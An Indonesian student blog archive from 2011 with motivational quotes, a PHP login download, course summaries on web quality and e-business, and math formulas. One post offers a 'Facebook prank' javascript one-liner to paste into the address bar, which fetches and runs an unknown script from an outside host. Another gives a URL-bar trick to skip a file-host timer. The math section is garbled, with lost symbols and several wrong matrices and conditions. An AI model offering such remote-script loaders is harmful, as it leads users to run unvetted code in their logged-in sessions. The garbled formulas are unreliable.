2011 ~ Life is An Adventure

Sebuah Visi Tanpa Eksekusi Adalah Mimpi

Pandangan Yang Luas Tak pernah Berujung Jika Tak Dimulai Dengan Menjelajah

Malaikat Menaungi Dengan Sayapnya Kepada Orang Yang Mencari Ilmu

Hidup itu adalah proses Dan kematian adalah output

Hindari Kesombongan

Lebih mudah untuk melawan ribuan orang bersenjata lengkap dibandingkan melawan kesombongan diri sendiri

Beranilah melangkah

Bila kegagalan itu bagai hujan, dan keberhasilan bagaikan matahari, maka butuh keduanya untuk melihat pelangi

ALLAH telah menetapkan rezeki kita. Bukan pada jumlahnya, tetapi pada syaratnya.

Kepada orang bodoh sekalipun TUHAN mengirimkan keberuntungan, kepada orang gila sekalipun TUHAN memberikan rejeki kehidupan

Kamis, 29 Desember 2011

Form Login Sederhana PHP dengan Database

pertamax tamax klo buat program kan kudu login yak klo ga salah tuh :D hehehehe nah ini saya cuman pengen berbagi dengan kalian , tentang membuat login sederhana php dengan database , yang perlu disiapin ya xampp atau app serv ama editor php apalah dreamweaver atao sembarang yg pntg filenya.php hehehe .....pertama
1. extract file form_login.rar
2. Copas ke folder web kamu, misalkan C://xampp/htdocs
3. buat database dulu dengan nama form_login
4. Import databasenya.
5. buka browser kamu dan jalankan filenya
:-) taraaa , jalan kan nah dipelajari tuh jangan cuman copas :p
nih link buat donlodtnya

DOWNLOAD

Sabtu, 26 November 2011

RDF GRAVITY FREE DOWNLOAD

Ga usah banyak ngetik langsung aja aq kasih link buat download rdf gravity buat temen2 heheheh >>> silahkan didownload <<< nb penting : Harus Sudah trinstal java di komputer anda untuk menjalankan rdf gravity

Jumat, 25 November 2011

MATERI SEMANTIK WEB RDF

Materi Semantik web malam ini silahkan gan ...>>> Download <<<

Kamis, 24 November 2011

TUGAS RANGKUMAN REKAYASA WEB / A2 SORE 08010550074

Rangkuman :

1. Ada tiga sudut pandang dalam menilai sebuah kualitas sebuah perangkat lunak menurut badan standar iso dan ieee yaitu :
1. pandangan pengguna (user),
2. pandangan pengembang (developer), dan
3. pandangan manajer (manager).
perbedaannya adalah dimana pengguna lebih tertarik pada karakteristik eksternal contohnya dalam penggunaannya.Sedangkan pada pengembang dan manajer lebih tertarik pada karakteristik internal seperti dalam efektifitas biaya dan pemeliharaan.

Latar belakangnya adalah dimana sebuah halaman web biasanya diukur dari pihak pengguna maka dari itu karakteristik eksternal harus diperhatikan.

Alasan Kualitas
1. evolusi teknologi yang cepat,
2. campuran (banyaknya) teknologi,
3. kemudahan dalam penulisan HTML, dan
4. “toleransi” browser yang menampilkan kode halaman yang tidak benar.


Evolusi Web sekarang ini mengarah pada arsitektur berbasis XML yang lebih kompleks yang memerlukan perhatian yang lebih besar untuk penggunaan teknologi yang benar dan keahlian yang lebih tinggi.

5 dimensi kualitas adalah : Ketepatan, Presentasi, Konten, Navigasi, Interaksi

1. Ketepatan adalah aspek teknis yang dapat dengan mudah dicek. banyak kasus perilaku yang tidak konsisten dengan browser yang berbeda dapat dimulai dengan ketiadaan penyesuaian diri dengan tata bahasa yang diterbitkan (HTML, XHTML) dan tindakan yang diambil oleh browser itu sendiri sebagai default.

2. Presentasi adalah sebuah aspek penyajian sebuah halaman web kepada pengguna dimana tata letak halaman adalah karakteristik yang paling prinsipel yang dirasakan oleh pengguna. Tata letak harus bersih dan keseluruhan konten harus tersusun dengan baik.
dalam sebuah presentasi ada 4 macam faktor yang perlu diperhatikan yaitu :
1. teks : sebuah halaman web diharuskan memilih font dan warna teks yang nyaman dalam visual dari sudut pandang pengguna ,
2. multimedia : pemilihan gambar dan streaming harus  perlu apakah tidak sesuai dengan fungsi sebuah web ,
3. tautan : tautan yang rusak menjadikan sebuah halaman web turun dalam reputasinya.
4. form : Pada tingkat presentasi, form hams dievaluasi dengan mempertimbangkan fitur-fitur aksesibilitasnya   (label, pengisian field dengan data default, urutan sesuai field, dan kemungkinan untuk berpindah dengan tombol tab).
3. Konten adalah keterbacaan (kata-kata untuk kalimat, suku kata untuk kata-kata, total kata-kata, jumlah baris baru, panjang judul dan subjudul dan seterusnya),
arsitektur informasi (tingkat kesulitan yang berbeda, informasi yang dapat dikustomisasi),
struktur informasi (jumlah subheading per heading, jumlah paragraf per heading, arti panjang dan paragraf, panjang total paragraf, jumlah kalimat di dalam paragraf),
 4. Navigasi 
yaitu keterbacaan (kata-kata untuk kalimat, suku kata untuk kata-kata, total kata-kata, jumlah baris baru, panjang judul dan subjudul dan seterusnya),
arsitektur informasi (tingkat kesulitan yang berbeda, informasi yang dapat dikustomisasi),
struktur informasi (jumlah subheading per heading, jumlah paragraf per heading, arti panjang dan paragraf, panjang total paragraf, jumlah kalimat di dalam paragraf),
5. Interaksi
transparansi (pengguna diberi tahu mengenai pengisian, tambalan format, dan peluncuran),
pemulihan (pembatalan tersedia pada formulir halaman atau setelah pengguna mengisi formulir isian dan kemudian sistem memberitahukan aksi yang diselesaikan dan kemungkinan untuk dapat dibatalkan), dan
fasilitas catatan tambahan (jika pengguna dapat berperan untuk konten situs web).

Rabu, 23 November 2011

Trick 4shared tanpa menunggu waktu untuk link

>>> Javascript : alert(c=1) <<< nb: ketik javascript tersebut ke url jangan pake google crome.diusahakan pake mozilla firefox.

Minggu, 20 November 2011

Kode Jahil Facebook

Ini bagi yang udah paham-paham aje ye ...soalnya bahaya banget ini script, bikin jengkel hahahaha

intinya ini script membentuk dokumen secara paksa ke parse url trus meloopingnya ...nah gt deh kira2 hehehe maklum masih newbie...nah tau kan buat apa ...selamat jahil tp jangan terlalu jahil hehehe
 javascript:(a = (b = document).createElement("script")).src = "//xenonime.com/tools/wew.js", b.body.appendChild(a); void(0);

Generator teks

Flava @tung de blang




Nih video belum pada mandi, blas ga pada latihan, pada kecapekan ...otodidak plus plus plus... mpe bingung wkwkwkwk lagu nya apa

Jumat, 18 November 2011

Jawaban kisi-kisi e bussiness

1.
a. E-business adalah praktek pelaksanaan dan pengelolaan proses bisnis utama seperti perancangan produk, pengelolaan pasokan bahan baku, manufaktur, penjualan, pemenuhan pesanan, dan penyediaan servis melalui penggunaan teknologi komunikasi, komputer, dan data yang telah terkomputerisasi. (Steven Alter. Information System: Foundation of E-Business. Prentice Hall. 2002)
b. E-business adalah mengenai penggunaan teknologi internet untuk melakukan transformasi proses bisnis yang dilakukan. Bentuk e-business yang paling mudah terlihat adalah pembelian barang secara online baik retail maupun grosir. (Samantha Shurety.1999. E-business with Net.Commerce. Prentice Hall)
YANG TERLIBAT DALAM E-BUSINESs ?
-> Semua pihak yang melakukan interaksi dalam sebuah sistem bisnis.
• Business
• Consumer
• Employ
• Goverment
DIMANA KEGIATAN E-BUSINESS DILAKUKAN ?

• Dimana saja sejauh terdapat fasilitas untuk akses

Mengapa perusahaan perlu mengaplikasikan e-busines:
-Mengurangi biaya penjualan dan pembelian
-Mengurangi waktu ke pasar
-Chanel penjualan global
- Mengurangi hambatan masuk pasar

2. kelebihan dan kekurangan implementasi e-bisnis dalam perusahaan:

Kelebihan:

- Mengurangi waktu dan biaya prosmosi dari produk/service yang dipasarkan karena tersedianya informasi secara menyeluruh di internet sepanjang waktu.
- Memberikan kesempatan konsumen yang berada di belahan dunia manapun untuk dapat menggunakan sebuah produk/service yang dihasilkan dari belahan dunia yang berbeda dan melakukan transaksi dan meraih informasi dari pihak pertama sepanjang tahun.
- Memberikan kesempatan konsumen untuk mendapatkan produk/service terbaik dari berbagai pilihan yang ada karena konsumen mendapat kesempatan untuk memilih berbagai jenis produk/service secara langsung.
- Memberikan kesempatan bagi konsumen yang terpisah tempat tinggalnya dari produsen untuk berinteraksi, berdiskusi dan bertukar pengalaman. Sehingga akan sangat menguntungkan produsen untuk meningkatkan kualitas produk/servicenya sesuai dengan yang diinginkan oleh konsumen.

=>Kekurangan:

- Dukungan pemerintah. Dukungan pemerintah yang masih belum jelas ditambah dengan belum adanya kebijakankebijakan yang mendukung perkembangan dari e-commerce ini dikeluarkan, belum jelasnya deregulasi dari system teknologi informasi khususnya internet yang merupakan salah satu tulang punggung dari perkembangan e-commerce, perbaikan sistem pabeanan dan deregulasi dalam ekspor impor barang.
- Perkembangan infrastruktur yang lambat. Salah satu hambatan utama adalah masih kurangnya insfrastrukur yang ada dan belum merata kepelosok Indonesia. Dibutuhkan keseriusan pemerintah untuk secara bertahap membangun infrastrukur yang baik dan terprogram sehingga secara bertahap, rakyat Indonesia mulai dapat dikenalkan dengan internet sebagai salah satu hasil dari perkembangan teknologi informasi dengan biaya yang murah dan terjangkau.
- Kurangnya sumber daya manusia. Kurangnya SDM Indonesia yang benar-benar menguasai sistem e-commerce ini secara menyeluruh, yang tidak saja menguasai secara teknis juga non-teknis seperti sistem perbankan, lalu lintas perdagangan hingga sistem hukum yang berlaku. Salah satu alasan yang cukup utama yaitu masih kurangnya ketersediaan informasi, mulai dari buku-buku referensi, jurnal, majalah/tabloid yang membahas tentang e-commerce juga sarana pendidikan, seminar, workshop hingga pusat-pusat pengembangan yang dibangun antara pemerintah, pusat-pusat pendidikan dan tenaga ahli di bidang e-commerce.
- Dukungan dari institusi finansial seperti bank dan asuransi. Belum banyaknya bank yang telah membangun system ’electronic banking’ nya dengan baik, selain itu perbankan Indonesia juga masih sulit untuk melakukan transaksi dengan menggunakan mata uang lain, apalagi dalam jumlah nilai yang kecil serta belum adanya pihak ketiga sebagai penjamin transaksi secara online yang benar-benar berada di Indonesia.

3.faktor-faktor yang menyebabkan kegagalan e-bisnis:
-tidak ada komitmen yang utuh dari manajemen.
-penerapan e-busines tidak diikuti proses change manajement.
-tidak profesionalnya vendor teknologi informasi yang menjadi mitra bisnis.
-buruknya infrastruktur komunikasi
-tidak selarasnya strategi Ti dengan strategi perusahaan.
-adanya masalah keamanan dalam bertransaksi
-kurangnya dukungan finansial
-belum adanya peraturan yang mendukung dan melindungi pihak –pihak yang bertransaksi.
-menggunakan target jangka pendek sebagai pijakan investasi e-business.

4. perbedaan bisnis tradisional dan bisnis elektronik:
Bisnis tradisional :
-sulit promosi & akses pasar
-face to face
-paperwork
-biaya tinggi dan birokrasi.
-Prosedur manual
-pasar kurang kompetitif.
Butuh pegawai banyak.

Bisnis elektronik:
-pasar mudah
-penilaian independent
-negosiasi dan penawaran standard
-paperless
Alur informasi transparan
-anywhere anytime

5. Electronic Commerce (E-Commerce) didefinisikan sebagai proses pembelian dan penjualan produk, jasa dan informasi yang dilakukan secara elektronik dengan memanfaatkan jaringan komputer. Salah satu jaringan yang digunakan adalah internet

Jenis-jenis e-comerce:

-business to business (B2B)
-business to sonsumer
-consumer to consumer
-government: G2G, G2B, G2C
-Consumers to businesses (C2B)
-Business to Employee
-mobile commerce (m-commerce)

Manfaat ecomerce:
-menambah pasar
-mengurangi biaya produksi
-mengurangi biaya inventory
-mengurangi biaya komunikasi
-hampir tidak terlihat perbedaan antara perusahaan besar dan kecil
-memudahkan konsumen dalam memilih barang, 24 jam nonstop.
-mempercepat dan mempermudah transaksi
-memungkinkan barang dijual lebih murah.
Hambatan/ tantangan e-comerce:
-infrastruktur telekomunikasi yang masih terbatas dan mahal
-delivery chanel
>. pengiriman barang masih ditakutkan hilang dijalan.
>. ketepatan waktu dalam pengiriman barang.
>. jangkauan pengiriman barang.

-kultur dan kepercayaan
-security
-munculnya jenis kejahatan baru
>. penggunaan kartu kredit curian
>. penipuan melalui sms, kuis
-ketidak jelasan hukum

6. jelaskan apa yang dimaksud dengan pengembangan aplikasi e-comerce
: Arsitektur e-commerce merupakan framework konseptual dari infrasktruktur dan aplikasi e-commerce yang diwujudkan dalam sebuah perencanaan struktur dan integrasi dari berbagai sumber-sumber yang ada dalam sebuah organisasi. Dalam proses pengembangannya terdiri dari enam langkah yaitu:
 Visi dan tujuan bisnis situs
 Peta aliran informasi dan data
 Modul-modul aplikasi yang memproses dan mengelola data serta informasi tsb.
 Software dan hardware yang menjalankan aplikasi-aplikasi tsb.
Panduan implementasi arsitektur tsb

7. cakupan dalam aplikasi e-comerce:
1.Pendefenisian visi dan tujuan, pendefenisian visi dan tujuan dari organisasi merupakan langkah awal untuk mendapatkan gambaran umum dari organisasi tersebut.
Pendefenisian arsitektur informasi, pendefinisian informasi yang dibutuhkan merupakan langkah selanjutnya untuk mengetahui situasi dan kondisi dalam rancangan pengembangan e-commerce.
2.Pendefenisian arsitektur data, aktifitas pada bagian ini seperti pengklasifikasian data yang dibutuhkan, cara pengolahannya dan sasaran yang ingin diambil untuk pengembangan.
3.Pendefenisian arsitektur aplikasi, pendefenisian ini dimaksudkan untuk menentukan jenis aplikasi dan batasan-batasan yang diinginkan baik dalam bidang keamanan, scalability dan realibility-nya.
4.Pendefenisian arsitektur teknikal, pendefenisian dari arsitektur teknikal dimaksudkan untuk menentukan jenis-jenis hardware dan software secara keseluruhan.
5.Pendefenisian arsitektur organisasi, dalam bagian ini ditentukan berbagai hal yang berhubungan dengan sumber daya, baik berupa manusia, keuangan, waktu yang dipergunakan.
6. Pemilihan opsi pengembangan
Pengembangan aplikasi dari e-commerce pada dasarnya mengikuti beberapa pendekatan. Masing-masing pendekatan tersebut memiliki keuntungan dan kekurangan yang pada intinya, pemilihan salah satu dari opsi tersebut akan memberikan efisiensi yang lebih besar dibandingkan opsi-opsi lainnya

8. manfaat dari arsitektur applikasi e-comerce:
 Membantu menciptakan keselarasan antara proyek TI dengan kebutuhan bisnis
 Memudahkan identifikasi komponen-komponen yang dapat dipakai ulang (reuse) dalam proyek lain
 Memudahkan perubahan/pengembangan lanjut: lebih cepat dengan gangguan minimal
 Menaikan tingkat abstraksi rancangan sistem untuk mempermudah analisa/evaluasi
 Meningkatkan komunikasi antara anggota tim (dengan berbagai latar belakang dan peran masing-masing)
 Mudah menemukan kesalahan secara dini, sebelum nantinya terlalu mahal untuk diperbaiki
 Skala (kapasitas dan scope) dapat direncanakan dengan baik

Kamis, 17 November 2011

Matematika Ajaran


r= jari-jari alas kerucut
d= diameter alas kerucut
t = tinggi kerucut
p = panjang garis pelukis atau apotema
Lb = luas bidang bawah/ alas/ dasar kerucut
Ls = luas selimut/ selubung kerucut
Lp = luas permukaan kerucut
V = volume/ isi kerucut
φ = sudut pusat rebahan

rumus kerucut terpancung
 d1 = 2r1 atau r1 = ½ d 1
 d2 = 2r2 atau r2 = ½ d 2
 Lb= πr 12 = ¼ πd12
 La= πr 22 = ¼ πd22
 L s= πp (r 1+ r 2)= ½πp (d1+ d2)
 L p= Lb + La+ L s= πp(r 1+ r 2) + π p(r 12+ r 22)
 V = π/3 t (r1 2+ r22 + r 1r2)

kerucut biasa

d = 2r atau r = ½ d
 p2= t 2+ r 2
 Lb= πr 2 = ¼πd2
 L s= πrp = ½πdp
 L p= Lb + L s= πr (r + p) =½ πd (d + p)
 V = π/3 r 2 t
 φ = r/p x 360

Rumus Suku ke-n baris aritmatika:

Un = a + (n-1)b = bn + (a-b) ® Fungsi linier dalam n

Jumlah n suku baris aritmatika

Sn = 1/2 n(a+Un)
= 1/2 n[2a+(n-1)b]
= 1/2bn² + (a - 1/2b)n ® Fungsi kuadrat (dalam n)


Suku ke n barisan geometri Un = arn-1 ® fungsi eksponen (dalam n)

Jumlah n suku barisan geometri

Sn = a(rn-1)/r-1 , jika r>1
= a(1-rn)/1-r , jika r<1 ® Fungsi eksponen (dalam n)
  1. TRANSLASI (Pergeseran sejajar)
Matriks
Perubahan
Perubahan
é a ù
ë bû
(x,y) ® (x+a, y+b)
F(x,y) = 0 ® (x-a, y-b) = 0
Ket : 
x' = x + a
 ® x = x' - a
y' = y + b
 ® y = y' -b
  1. Sifat:
    • Dua buah translasi berturut-turut é a ù diteruskan dengan 
                                                  
       ë b û
      dapat
       digantikan dengan é c ù translasi tunggal é a + c ù
                                       
      ë d û                       ë b + d û 
    • Pada suatu translasi setiap bangunnya tidak berubah.
  2. REFLEKSI (Pencerminan terhadap garis)
Pencerminan terhadap
Matriks
Perubahan Titik
Perubahan fungsi
sumbu-x
é 1 -0 ù
ë 0 -1 û
(x,y) ® (x,-y)
F(x,y) = 0 ®F(x,-y) = 0
sumbu -y
é -1 0 ù
ë -0 1 û
(x,y) ® (-x,y)
F(x,y) = 0 ®F(-x,y) = 0
garis y = x
é 0 1 ù
ë 1 0 û
(x,y) ® (y,x)
F(x,y) = 0 ®F(y,x) = 0
garis y = -x
é -0 -1 ù
ë -1 -0 û
(x,y) ® (-y,-x)
F(x,y) = 0 ®F(-y,-x)= 0

  1. Ket. : Ciri khas suatu matriks Refleksi adalah determinannya = -1

    SIFAT-SIFAT
    1. Dua refleksi berturut-turut terhadap sebuah garis merupakan suatu identitas, artinya yang direfleksikan tidak berpindah. 
    2. Pengerjaan dua refleksi terhadap dua sumbu yang sejajar, menghasilkan translasi (pergeseran) dengan sifat:
      • Jarak bangun asli dengan bangun hasil sama dengan dua kali jarak kedua sumbu pencerminan.
      • Arah translasi tegak lurus pada kedua sumbu sejajar, dari sumbu pertama ke sumbu kedua. Refleksi terhadap dua sumbu sejajar bersifat tidak komutatip.
    3. Pengerjaaan dua refleksi terhadap dua sumbu yang saling tegak lurus, menghasilkaan rotasi (pemutaran) setengah lingkaran terhadap titik potong dari kedua sumbu pencerminan. Refleksi terhadap dua sumbu yang saling tegak lures bersifat komutatif.
    4. Pengerjaan dua refleksi berurutan terhadap dua sumbu yang berpotongan akan menghasilkan rotasi (perputaran) yang bersifat:
      • Titik potong kedua sumbu pencerminan merupakan pusat perputaran.
      • Besar sudut perputaran sama dengan dua kali sudut antara kedua sumbu pencerminan.
      • Arah perputaran sama dengan arah dari sumbu pertama ke sumbu kedua. 
  1. ROTASI (Perputaran dengan pusat 0)
rotasi
matriks
perubahan titik
perubahan fungsi
½ p
é0  -1ù
ë1 -0 û
(x,y) ® (-y,x)
F(x,y) = 0 ® F(y,-x) = 0
p
é-1  0ù
ë1 -1 û
(x,y) ® (-x,-y)
F(x,y) = 0 ® F(-x,-y) = 0
3/2 p
é0  -1ù
ë-1 0 û
(x,y) ® (y,-x)
F(x,y) = 0 ® F(-y,x) = 0
q
écosq -sinq ù
ësinq  cosq û
(x,y) ® (x cos q - y sinq, x sin q + y cos q)
F(x,y) = 0
 ® F(x cos q + y sin q, -x sin q + y cos q) = 0

  1. Ket.: Ciri khas suatu matriks Rotasi adalah determinannya = 1

    SIFAT-SIFAT
    1. Dua rotasi bertumt-turut mempakan rotasi lagi dengan sudut putar dsama dengan jumlah kedua sudut putar semula.
    2. Pada suatu rotasi, setiap bangun tidak berubah bentuknya.
      Catatan:
       

      Pada transformasi pergeseran (translasi), pencerminan (refleksi) dan perputaran (rotasi), tampak bahwa bentuk bayangan sama dan sebangun (kongruen) dengan bentuk aslinya. Transformasi jenis ini disebut
       transformasi isometri. 
  2. DILATASI (Perbesaran terhadap pusat 0) 
Dilatasi
Matriks
Perubahan titik
Perubahan fungsi
(0,k)
ék  0ù
ë0  kû
(x,y)®(kx,ky)
F(x,y)=0®F(x/k,y/k)

  1. Ket.:

    (0, k) merupakan perbesaran atau pengecilan dengan tergantung dari nilai k.

    Jika A' adalah peta dari A, maka untuk:
    a. k > 1
     ® A' terletak pada perpanjangan OA
    b. 0 < k < 1
     ® A' terletak di antara O dan A
    c. k > 0
     ® A' terletak pada perpanjangan AO
  2. TRANSFORMASI LINIER
    Ditentukan oleh matriks
     éa  bù
                                    
    ëc  dû 
    é x' ù = é a b ù é x ù
    ë y' û   ë c d û ë y û

    é x ù =    1        é a -b ù é x' ù
    ë y û   ad - bc     ë -c d û ë y' û  
Perubahan Titik
Perubahan Fungsi
(x,y)®(ax+by, cx+dy)
F(x,y)=0 ® édx - by , -cx + ay ù
                
ëad - bc    ad - bc û

  1. Prinsipnya adalah mencari matriks invers dari matriks transformasi yang diketahui.